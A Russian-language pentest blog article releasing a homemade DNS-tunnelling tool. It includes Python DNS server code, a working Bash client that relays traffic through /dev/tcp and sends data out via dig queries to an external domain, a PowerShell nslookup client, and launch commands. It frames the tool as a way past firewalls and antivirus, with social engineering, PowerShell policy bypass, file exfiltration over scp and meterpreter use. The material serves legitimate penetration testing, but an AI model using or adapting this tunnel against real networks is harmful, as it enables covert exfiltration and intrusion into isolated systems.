Привет! В ходе проектов по тестированию на проникновение мы нередко сталкиваемся с жестко сегментированными сетями, практически полностью изолированными от внешнего мира. Порой, для решения данной проблемы требуется пробросить трафик через единственно доступный протокол — DNS. В этой статье мы расскажем, как решить подобную задачу в 2018 году и какие подводные камни встречаются в процессе. Также будут рассмотрены популярные утилиты и представлен релиз собственной open-source утилиты с возможностями, которых обычно так не хватает в существующих аналогичных инструментах.
Что такое DNS-туннели
На Хабре уже есть несколько статей, где объясняется, что такое DNS-туннелирование. Тем не менее, немного теории о DNS-туннелировании можно найти под спойлером.
Бывает, что доступ в сеть наглухо отрезан файрволом, а передавать данные нужно позарез, и тогда на помощь приходит техника DNS-туннелирования.
На схеме всё выглядит так:
Запросы к DNS даже при самых строгих настройках файерволла иногда все же проходят, и это можно использовать, отвечая на них со своего сервера, находящегося по ту сторону. Связь будет крайне медленной, но этого хватит для проникновения в локальную сеть организации или, например, для срочного выхода в Интернет по платному Wi-Fi за границей.
Что популярно на данный момент
Сейчас в Интернете можно найти множество утилит для эксплуатации этой техники — каждая со своими фичами и багами. Мы выбрали для сравнительного тестирования пять наиболее популярных:
- dnscat2
- iodine
- dns2tcp
- Heyoka
- OzymanDNS
Подробнее о том, как мы их тестировали, можно почитать в нашей статье на Хакере. Тут же мы приведем только результаты.
Как видно из результатов, работать можно, но с точки зрения тестирований на проникновение есть недостатки:
- компилируемые клиенты — на машинах с антивирусами гораздо проще запустить что-то интерпретируемое, чем бинарный файл;
- нестабильная работа под Windows;
- необходимость в установке дополнительного софта в некоторых случаях.
Из-за данных недостатков нам понадобилось разработать свой инструмент, и вот как это вышло...
Создаем свою утилиту для DNS-туннелирования
Предыстория
Всё началось во время внутреннего пентеста одного банка. В холле находился общедоступный компьютер, используемый для печати документов, справок и прочих бумаг. Наша цель: получить наибольшую выгоду от машины, которая была под управлением системы Windows 7, на борту имела “Антивирус Касперского” и разрешала заходить только на определенные страницы (но при этом была возможность резолва DNS имен).
Проведя первичный анализ и получив дополнительные данные из тачки, мы выработали несколько векторов атаки. Пути с эксплуатацией машины при помощи бинарных программ были сразу убраны в сторону, так как “великий и ужасный” “Касперский” при обнаружении исполняемого файла сразу же его тёр. Однако нам удалось получить возможность запускать скрипты от имени локального администратора, после чего одной из идей стала как раз возможность создания DNS-туннеля.
Поискав возможные способы, мы нашли клиент на PowerShell для dnscat2 (о нем мы писали ранее). Но в итоге максимум, что нам удавалось произвести, это установить соединение на небольшое время, после чего клиент падал.
Это нас, мягко говоря, сильно расстроило, так как в данной ситуации наличие интерпретируемого клиента было просто необходимо. Собственно, это и стало одной из причин разработки своего инструмента для DNS-туннелирования.
Требования
Главными требованиями к самим себе у нас стали:
- наличие универсальных (насколько это возможно) и интерпретируемых клиентов для Unix и Windows систем. Для клиентов были выбраны языки bash и Powershell соответственно. В будущем планируется клиент на Perl для unix;
- возможность проброса трафика от конкретного приложения;
- поддержка нескольких клиентов для одного пользователя.
Архитектура проекта
Исходя из требований, мы приступили к разработке. В нашем представлении утилита состоит из 3 частей: клиент на внутренней машине, DNS-сервер и небольшой прокси между приложением пентестера и DNS-сервером.
Для начала мы решили пробросить туннель через TXT-записи.
Принцип работы довольно прост:
- Пентестер запускает DNS-сервер.
- Пентестер (или пользователь, через социальную инженерию) запускает клиента на внутренней машине. На клиенте присутствуют такие параметры, как имя клиента и домен, а также есть возможность прямого указания IP-адреса DNS-сервера.
- Пентестер (из внешней сети) запускает прокси, где указывает IP-адрес DNS-сервера, а также порт, куда стучаться, IP-цели (например ssh во внутренней сети, где сидит клиент) и, соответственно, порт цели. Также необходим ID клиента, который можно получить, добавив ключ
--clients
. - Пентестер запускает интересующее его приложение, указывая порт прокси на localhost.
Протокол общения
Рассмотрим довольно простой протокол общения сервера с клиентом.
Регистрация
При запуске клиента, он регистрируется на сервере, запрашивая TXT-запись через поддомен следующего формата:
0<7 random chars><client name>.<your domain>
0 — ключ регистрации
<7 random chars>
— для избежания кеширования записей DNS
<client name>
— имя, заданное клиенту при запуске
<your domain>
— ex.: xakep.ru
В случае успешной регистрации, клиент в TXT-ответе получает сообщение об успехе, а также присвоенный ему id, который он дальше будет использовать.
Основной цикл
После регистрации клиент начинает опрашивать сервер о наличии новых данных в формате
1<7 random chars><id>.<your domain>
В случае наличия новых данных, в TXT-ответе он получает их в формате
<id><target ip>:<target port>:<data in base64>
, иначе, приходит <id>ND
.
Цикл загрузки данных
Клиент в цикле проверяет, пришли ли данные от нашего <target>
. В случае, если ответ есть, мы считываем, из того, что пришло, буфер размером N Кб, разбиваем его на блоки длинной 250-<len_of_your_domain>-<количество протокольных символов>
и шлем данные поблочно в формате:
2<4randomchars><id><block_id>.<data>.<your_domain>
В случае успеха передачи блока получаем OK с некоторыми данными о переданном блоке, в случае завершения передачи буфера получаем ENDBLOCK
.
DNS-сервер
DNS-сервер для туннелирования был написан на Python3 с использованием библиотеки dnslib, которая позволяет легко создать свой DNS-резолвер, унаследовавшись от объекта dnslib.ProxyResolver и переопределив метод resolve().
Великолепный dnslib позволяет создать свой ProxyDNS очень быстро:
class Resolver(ProxyResolver):
def __init__(self, upstream):
super().__init__(upstream, 53, 5)
def resolve(self, request, handler):
# волшебный метод
domain_request = DOMAIN_REGEX.findall(str(request.q.qname))
type_name = QTYPE[request.q.qtype]
if not domain_request:
# все DNS запросы, которые не относятся к туннелю, отправляем в другое место: например, в google
return super().resolve(request, handler)
# ТУТ КОД, который определяет переменную result
reply = request.reply()
reply.add_answer(RR(
rname=DNSLabel(str(request.q.qname)),
rtype=QTYPE.TXT,
rdata=dns.TXT(wrap(result, 255)), # делим ответ на части по 255 символов, если он большой, соблюдая стандарт
ttl=300
))
if reply.rr:
return reply
if __name__ == '__main__':
port = int(os.getenv('PORT', 53))
upstream = os.getenv('UPSTREAM', '8.8.8.8') # куда отправляем запросы не для туннеля
resolver = Resolver(upstream)
udp_server = DNSServer(resolver, port=port)
tcp_server = DNSServer(resolver, port=port, tcp=True)
udp_server.start_thread()
tcp_server.start_thread()
try:
while udp_server.isAlive():
sleep(1)
except KeyboardInterrupt:
pass
В resolve() мы определим реакции на DNS-запросы со стороны клиента: регистрацию, запрос новых записей, обратную передачу данных и удаление пользователя.
Информацию о пользователях храним в базе данных SQLite, буфер обмена данными находится в оперативной памяти и имеет следующую структуру, в которой ключом является номер клиента:
{
{
"target_ip": "192.168.1.2", # IP “жертвы” - куда форвардим запросы
"target_port": "", # Порт “жертвы”
"socket": None, # Сокет для обмена данными с пентестером
"buffer": None, # буфер получения данных от пентестера
"upstream_buffer": b'' # буфер получения данных от клиента
}, ...
}
Для помещения данных от пентестера в буфер мы написали небольшой “приемник”, который запущен в отдельном потоке. Он ловит соединения от пентестера и выполняет маршрутизацию: какому клиенту отправлять запросы.
Пользователю перед запуском сервера необходимо задать всего лишь один параметр: DOMAIN_NAME — имя домена, с которым будет работать сервер.
Клиент на Bash
Для написания клиента для Unix систем был выбран Bash, так как он чаще всего встречается в современных Unix системах. Bash предоставляет возможность установки соединения через /dev/tcp/, даже с правами непривилегированного пользователя.
Мы не будем подробно разбирать каждый кусок кода, взглянем только на наиболее интересные моменты.
Принцип работы клиента прост. Для общения с DNS используется стандартная утилита dig
. Клиент регистрируется на сервере, после чего в вечном цикле начинает выполнять запросы по протоколу, описанному ранее. Под спойлером подробнее.
Идет проверка, было ли установлено соединение, и если да, то выполняется функция reply (чтение пришедших данных от target, разбиение и отправка на сервер).
После этого уточняется, есть ли новые данные от сервера. Если они обнаружены, то мы проверяем, нужно ли сбрасывать соединение. Сам разрыв происходит, когда нам приходит информация о target с ip 0.0.0.0 и портом 00. В этом случае мы очищаем файловый дескриптор (если он не был открыт, никаких проблем не возникнет) и меняем target ip на пришедший 0.0.0.0.
Далее по коду мы смотрим, есть ли необходимость установить новое соединение. Как только следующие сообщения начнут слать нам данные для target, мы, в случае, если прошлый ip не совпадает с текущим (после сброса так и будет), меняем target на новый, и устанавливаем соединение через команду exec 3<>/dev/tcp/$ip/$port
, где $ip
— target, $port
— target port.
В итоге, если соединение уже установлено, то пришедший кусок данных декодится и летит в дескриптор через команду echo -e -n ${data_array[2]} | base64 -d >&3
, где ${data_array[2]}
— то, что мы получили от сервера.
while :
do
if [[ $is_set = 'SET' ]]
then
reply
fi
data=$(get_data $id)
if [[ ${data:0:2} = $id ]]
then
if [[ ${data:2:2} = 'ND' ]]
then
sleep 0.1
else
IFS=':' read -r -a data_array <<< $data
data=${data_array[0]}
is_id=${data:0:2}
ip=${data:2}
port=${data_array[1]}
if [[ $is_id = $id ]]
then
if [[ $ip = '0.0.0.0' && $port = '00' ]]
then
exec 3<&-
exec 3>&-
is_set='NOTSET'
echo "Connection OFF"
last_ip=$ip
fi
if [[ $last_ip != $ip ]]
then
exec 3<>/dev/tcp/$ip/$port
is_set='SET'
echo "Connection ON"
last_ip=$ip
fi
if [[ $is_set = 'SET' ]]
then
echo -e -n ${data_array[2]} | base64 -d >&3
fi
fi
fi
fi
done
Теперь рассмотрим отправку в функции reply. Сначала мы считываем 2048 байт из дескриптора и сразу энкодим их через $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0
). Далее же, если ответ пустой, выходим из функции, иначе начинаем операцию по разбиению и отправке. Заметим, что после формирования запроса для отправки через dig, идет проверка успешности доставки. В случае успеха выходим из цикла, иначе пробуем, пока не получится.
reply() {
response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0)
if [[ $response != '' ]]
then
debug_echo 'Got response from target server '
response_len=${#response}
number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN}))
if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]]
then
number_of_blocks-=1
fi
debug_echo 'Sending message back...'
point=0
for ((i=$number_of_blocks;i>=0;i--))
do
blocks_data=${response:$point:$MESSAGE_LEN}
if [[ ${#blocks_data} -gt 63 ]]
then
localpoint=0
while :
do
block=${blocks_data:localpoint:63}
if [[ $block != '' ]]
then
dat+=$block.
localpoint=$((localpoint + 63))
else
break
fi
done
blocks_data=$dat
dat=''
point=$((point + MESSAGE_LEN))
else
blocks_data+=.
fi
while :
do
block=$(printf %03d $i)
check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '"K[^"]+')
if [[ $check_deliver = 'ENDBLOCK' ]]
then
debug_echo 'Message delivered!'
break
fi
IFS=':' read -r -a check_deliver_array <<< $check_deliver
deliver_data=${check_deliver_array[0]}
block_check=${deliver_data:2}
if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]]
then
break
fi
done
done
else
debug_echo 'Empty message from target server, forward the next package '
fi
}
Powershell клиент:
Так как нам была нужна полная интерпретируемость и работа на большинстве актуальных систем, основу клиента для Windows составляют стандартная утилита nslookup для связи через DNS и объект System.Net.Sockets.TcpClient для установления соединения во внутренней сети.
Работает все также очень просто. Каждая итерация цикла представляет собой вызов команды nslookup по протоколу, описанному ранее.
Например, для регистрации выполняем команду:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Если возникают ошибки, то мы их не показываем, отправляя в $null значения дескриптора ошибок.
nslookup возвращает нам подобный ответ:
После чего нам нужно вытянуть все строчки в кавычках, для чего проходимся по ним регуляркой:
$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "t]+)',$('') }
Теперь можно выполнять обработку полученных команд.
Каждый раз, когда меняется IP-адрес “жертвы”, выполняется создание TCP-клиента, устанавливается соединение и начинает выполняться передача данных. От DNS сервера информация base64-декодируется, и байты отправляются на жертву. Если “жертва” что-то ответила, то кодируем, делим на части и выполняем запросы nslookup согласно протоколу. Всё.
При нажатии Ctrl+C выполняется запрос на удаление клиента.
Proxy:
Прокси для пентестера представляет из себя небольшой прокси сервер на python3.
В параметрах нужно указать IP DNS-сервера, порт, куда коннектиться на сервере, опция --clients возвращает список зарегистрированных клиентов, --target - target ip
, --target_port - target port
, --client
— id клиента, с которым мы будем работать (видно после исполнения --clients
), --send_timeout
— таймаут для отправки сообщений от приложения.
При запуске с параметром --clients
, прокси посылает серверу запрос в формате x00GETCLIENTSn
.
В случае, когда мы начинаем работу, при подключении посылаем сообщение в формате x02RESET:client_idn
для сброса предыдущего подключения. После мы посылаем информацию о нашей цели: x01client_id:ip:port:n
Далее, при отправке сообщений к клиенту, мы отправляем байты в формате x03data
, а приложению пересылаем просто сырые байты.
Также прокси поддерживает режим SOCKS5.
Какие трудности могут возникнуть?
Как и в любом механизме, в утилите могут возникнуть сбои. Не будем забывать, что DNS-туннель — штука тонкая, и на его работу может влиять множество факторов, начиная от архитектуры сети, заканчивая качеством коннекта до вашего рабочего сервера.
В ходе тестирования нами изредка были замечены небольшие сбои. Например, при большой скорости печати, работая через ssh, стоит настроить параметр --send_timeout
, так как иначе клиент начинает подвисать. Также иногда соединение может не устанавливаться с первого раза, но это легко лечится перезапуском прокси, так как при новом подключении прошлое соединение будет сброшено. Ещё встречались проблемы с резолвом доменов при работе с proxychains, однако это тоже поправимо, если указать дополнительный параметр для proxychains. Стоит заметить, что на данный момент утилита не контролирует появление лишних запросов от кеширующих DNS серверов, поэтому иногда может падать соединение, однако это опять же лечится способом, описанным выше.
Запуск
Настраиваем NS записи на домене:
Ждем, пока кэш обновится (до 5 часов обычно).
Запускаем сервер:
python3 ./server.py --domain oversec.ru
Запускаем клиент (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1
Запускаем клиент (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2
Посмотрим список подключенных клиентов:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients
Запускаем прокси:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1
Тестируем:
После того, как сервер и хотя бы один клиент были запущены, мы можем обращаться к прокси, как будто это наша удаленная машина.
Попробуем смоделировать следующую ситуацию: пентестер хочет скачать файл с сервера из локальной сети организации, защищенной файерволом, при этом с помощью методов социальной инженерии он смог заставить запустить внутри сети DNS-клиент и узнать пароль SSH сервера.
Пентестер у себя на машине запускает прокси, указывая необходимого клиента и далее может делать подобные обращения, которые отправятся на клиент, а из клиента — в локальную сеть.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek
Посмотрим, что получилось:
Слева вверху можно видеть DNS-запросы, которые приходят на сервер, справа сверху — трафик прокси, слева снизу — трафик с клиента, а снизу справа — наше приложение. Скорость получилась довольно приличная для DNS-туннеля: 4.9Кб/сек с использованием сжатия.
При запуске без сжатия, утилита показала скорость 1.8 kb/s:
Посмотрим внимательно на трафик DNS-сервера, для этого используем утилиту tcpdump.
tcpdump -i eth0 udp port 53
Видим, что все соответствует описанному протоколу: клиент постоянно опрашивает сервер, есть ли у него какие-то новые данные для этого клиента с помощью запросов вида 1c6Zx9Vi39.oversec.ru
. Если данные есть, то сервер отвечает набором TXT-записей, а иначе %client_num%ND (39ND
). Клиент передает информацию на сервер с помощью запросов вида 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.
На следующих видео вы можете наглядно рассмотреть работу утилиты в связке с meterpreter и в режиме SOCKS5.
Итог:
Давайте подведем небольшой итог. Какие особенности у данной разработки и почему мы советуем использовать ее?
- Интерпретируемые клиенты на Bash и Powershell: никаких EXE-шников и ELF-ов, которые бывает проблематично запустить.
- Стабильность соединения: в тестах наша утилита вела себя гораздо стабильнее, а если и случались какие-то баги, то можно было просто переподключиться, при этом клиент не падал, как в случае с dnscat2, например.
- Достаточно высокая скорость для DNS-туннеля: конечно, скорость не дотягивает до iodine, но там гораздо более низкоуровневое компилируемое решение.
- Не требуется прав администратора: клиент Bash работает без прав администратора железно, а Powershell-скрипты иногда запрещены политиками безопасности, но это довольно просто обходится.
- Есть режим socks5 прокси, что позволяет делать так
curl -v --socks5 127.0.0.1:9011 https://ident.me
или запускать nmap на всей внутренней сети.
Автор: migalin